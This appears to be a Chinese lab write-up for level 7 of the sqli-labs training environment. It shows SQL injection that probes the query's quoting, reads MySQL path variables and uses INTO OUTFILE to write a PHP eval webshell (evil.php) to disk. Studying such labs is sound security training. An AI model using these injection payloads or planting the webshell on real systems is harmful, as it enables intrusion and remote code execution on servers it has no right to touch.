zoukankan      html  css  js  c++  java
  • sqli-labs(四)

     第七关:

    输入?id=1 页面显示如下,可以看出这关大概是锻炼利用sql来写入一句话木马。

    这里说我下我的探测流程(主要是为了知道后台的sql是怎样拼凑的):

    输入?id=1' 报错  说明后台是用的单引符号进行的拼凑

    输入?id=1'%23还是报错

    输入?id=1')%23还是报错

    输入?id=1'))%23 页面ok了,说明后台需要闭合两个括号,看后台实现

    同时也可以看到这里报错信息是被注释掉了,也就是说查询不出结果了,报错联合查询和报错查询(以及双查询注入),只能使用盲注。但这关的重点不在这里,我们后面的关卡中会用到盲注的。这关主要是讲如何利用sql写入一句话。

    第一步:

    由于写入文件需要网站的物理路径(也就是绝对路径),这里需要先从其他关卡中获取路径(实际渗透过程中可以通过报错或其他情况获取路径)。

    这里介绍两个mysql的内置变量 @@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id

    这里先从第一关中获取路径,输入

     ?id=-1'union%20select%201,@@datadir,@@basedir%23

     

    这里将一句话写入D:phpstudyPHPTutorial下
    开始写入的时候一直不成功,后来把报错信息打在页面上才发现mysql的配置信息中没有设置secure_file_priv,默认为null,代表不能导入文件

    在my.ini中配置secure_file_priv=''即可,值得注意的是路径的需要转义也就是\。

    第二步:输入一句话到evil.php中

    ?id=1')) union%20select%201,2,'<?php @eval($_GET["a"]); ?>'%20into%20outfile%20'D:\phpstudy\PHPTutorial\evil.php'%20%23

    这里代码执行成功了,之所以显示You have an error in your SQL syntax 是和程序有关,查询的行数为0时,会显示这句话,实际上sql并没有报错。

    看后台,成功生成了一句话木马。

     第三步:访问一句话

  • 相关阅读:
    邮件发送
    生成缩略图
    截取字符串,中文安两个字符处理
    获取客户机MAC地址 根据IP地址 获取机器的MAC地址 / 获取真实Ip地址
    文件操作
    MD5加密 和 自定义加密解密
    Html标签替换(过滤掉html特殊符号)
    .net core 自定义中间件
    querySelector和querySelectorAll
    CSS下背景属性background的使用方法
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9526742.html
Copyright © 2011-2022 走看看